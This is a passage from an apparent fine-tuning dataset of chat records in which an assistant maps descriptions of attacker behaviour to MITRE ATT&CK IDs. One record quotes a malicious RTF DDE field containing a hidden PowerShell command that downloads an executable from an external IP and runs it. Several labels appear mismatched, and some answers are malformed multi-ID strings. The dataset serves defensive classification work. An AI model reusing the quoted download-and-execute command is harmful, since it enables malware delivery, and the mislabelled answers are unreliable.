    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the local system time from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke steals user files from network shared drives with file extensions and keywords that match a predefined list."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound malware has used IRC for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi performs exfiltration over BITSAdmin, which is also used for the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth can store C2 information on cloud hosting services such as AWS and CloudFlare and websites like YouTube and Facebook."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT has the capability to capture video from a webcam."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist can use \"GetUserNameW\", \"GetComputerNameW\", and \"GetComputerNameExW\" to gather information."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CopyKittens has used \"-w hidden\" and \"-windowstyle hidden\" to conceal PowerShell windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer executes payloads using the Windows API call CreateProcessW()."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has used a first stage web shell after compromising a vulnerable Exchange server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has used AES encryption for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 server used by XTunnel provides a port number to the victim to use as a fallback in case the connection closes on the currently used port."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "variants reported on in 2014 and 2015 used a simple XOR cipher for C2."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DnsSystem can use `cmd.exe` for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has collected clipboard data in plaintext."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has embedded ISO images and VHDX files in HTML to evade Mark-of-the-Web."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM used Port 44443 for its VNC module."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What changes in the code can we see in such short time intervals that would not be present in a build tool? In one case, one build was programmed to execute the runmem command for a file named wi.exe while the other was not"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic gathers a list of all user accounts, privilege classes, and time of last logon."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has encoded its C2 traffic with Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can extract cached password hashes from a system’s registry."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GRIFFON has used a reconnaissance module that can be used to retrieve information about a victim's computer, including the resolution of the workstation ."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been known to create or enable accounts, such as support_388945a0."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can identity the current process on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SynAck payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to download an .exe and use process hollowing to inject it into a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uploads and downloads information."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used \"net accounts\" and \"net accounts /domain\" to acquire password policy information."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The fourth-stage wiper starts off by enumerating from A to Z, looking for fixed and remote logical drives in the system. Enumerates logical drives. For each enumeration, it performs a breadth-first search to wipe the files in the logical drive while ignoring files located in the \"%HOMEDRIVE%\\Windows\" directory"
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can drop its payload into the Startup directory to ensure it automatically runs when the compromised system is started."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the Windows API call, CreateProcessW(), to manage execution flow."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TURNEDUP is capable of downloading additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to side-load malicious DLLs with legitimate applications from Kaspersky, Microsoft, and Google."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SYNful Knock can be sent instructions via special packets to change its functionality. Code for new functionality can be included in these messages."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has demonstrated the ability to steal credentials from multiple applications and data sources including Safari and the Chromium and Mozilla Firefox-based web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NativeZone can decrypt and decode embedded  Cobalt Strike beacon stage shellcode."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol has used HTTP GET and POST requests for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability Microsoft Internet Information Services (IIS) 6.0 to compromise the victim’s server. This is another way for them to establish a new C&amp;C or HTTP server"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The email attachment is encrypted and stored in the compressed package, and a decryption password is provided in the mail body to bypass the security detection of the email gateway"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has attempted to discover third party endpoint detection and response (EDR) tools on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The wave against the government entity (June 26) also involved a simple PE file attachment (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) using the filename tafahom.exe"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre registers itself as a service by adding several Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak also performs techniques for disabling security tools, deleting files that are left in malicious activity, and modifying registry to hide configuration information."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula contains UAC bypass code for both 32- and 64-bit systems."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can retrieve OS name/architecture and computer/domain name information from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volexity's investigation into this incident determined the attacker had accessed the Duo integration secret key (akey) from the OWA server. This key then allowed the attacker to derive a pre-computed value to be set in the duo-sid cookie. After successful password authentication, the server evaluated the duo-sid cookie and determined it to be valid. This allowed the attacker with knowledge of a user account and password to then completely bypass the MFA set on the account. It should be noted this is not a vulnerability with the MFA provider and underscores the need to ensure that all secrets associated with key integrations, such as those with an MFA provider, should be changed following a breach. Further, it is important that not only are passwords changed after a breach, but that passwords are not set to something similar to the previous password (e.g"
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Web Session Cookie', 'T1606.001 - Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Rundll32 to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton gathers credentials in files for keychains."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These credentials are then used to compromise Linux ESXi servers and authenticate to their vCenter web interfaces."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group has the capability to set up phishing infrastructure to mimic well known websites and trick victims to enter their credentials. This is one of the main methods used by this actor to collect email addresses that later will be used to send spearphishing emails. The group is still using similar phishing models previously mentioned in the KISA report with some small changes"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes can encrypt C2 traffic with AES or RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used the \"net\" command to retrieve information about domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit contains a collection of Exfiltration modules that can harvest credentials using Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the victim username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon can impersonate tokens using \"LogonUser\", \"ImpersonateLoggedOnUser\", and \"ImpersonateNamedPipeClient\"."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has used AES and XOR to decrypt its DLLs."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore has leveraged /bin/sh and /bin/bash to execute commands on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 6 Example of delivery document The RTF document (8cf3bc2bf…) was very small in size at 264 bytes, which can be seen in its entirety here:       {\\rtf1{\\field{\\*\\fldinst DDEAUTO \"C:\\\\\\\\WIndowS\\\\\\\\SYsTem32\\\\\\\\cMD.eXe \" \"/C\tPOWErsHELl.eXE  -ex     BypaSs  -NOP\t-w      HIdDen  (NEw-oBjeCT SyStEm.NET.weBCLiENT).dowNloADFILe( 'hxxp://86.106.131[.]177/link/GRAPH.EXE'  ,       '%apPDAtA%\\graph.exe'   )   ;       saps    '%Appdata%\\graph.exe'\"}}}     The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has the ability to use various Windows API functions to perform tasks."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This Unix binary is widely used by many malware families to determine the device’s unique ID (for campaign tracking), usually in the form of the machine’s serial number. This may or may not be hashed with another utility (e.g. md5) before being sent to the C2. To facilitate anti-analysis and evasion, ioreg is also used by some threat actors to determine whether the device is running in a virtual environment"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used various tools to perform credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz can gather a process list from the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINDSHIELD can gather Registry values."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI is a RAT that is believed to have  been in use for over four years, with a wide array of functionalities, often leveraging free web hosting providers like 000webhost for its C2 infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Posted on . May 23, 2017 . (May 2, 2022) . by Raphael Mudge . Cobalt Strike 3.8 is now available. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. This release of Cobalt Strike pushes back on this technique with the ppid command. These commands offer means to spawn a payload, in another desktop session, without remote process injection. As detection of remote process injection becomes more common, it’s important to have other ways to achieve our goals without this offensive technique. The Resource Kit . Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates. The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. Go to Help -&gt; Arsenal from a licensed copy of Cobalt Strike to download the Resource Kit. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows. A 21-day Cobalt Strike trial is also available"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can drop itself in \"C:\\Windows\\System32\\spool\\prtprocs\\x64\\winprint.dll\" to be loaded automatically by the spoolsv Windows service."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has staged archived files in a temporary directory prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail has the ability to use the macOS built-in zip utility to archive files."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has executed commands through the installed web shell via Tor exit nodes."
            },
            {
                "role": "assistant",
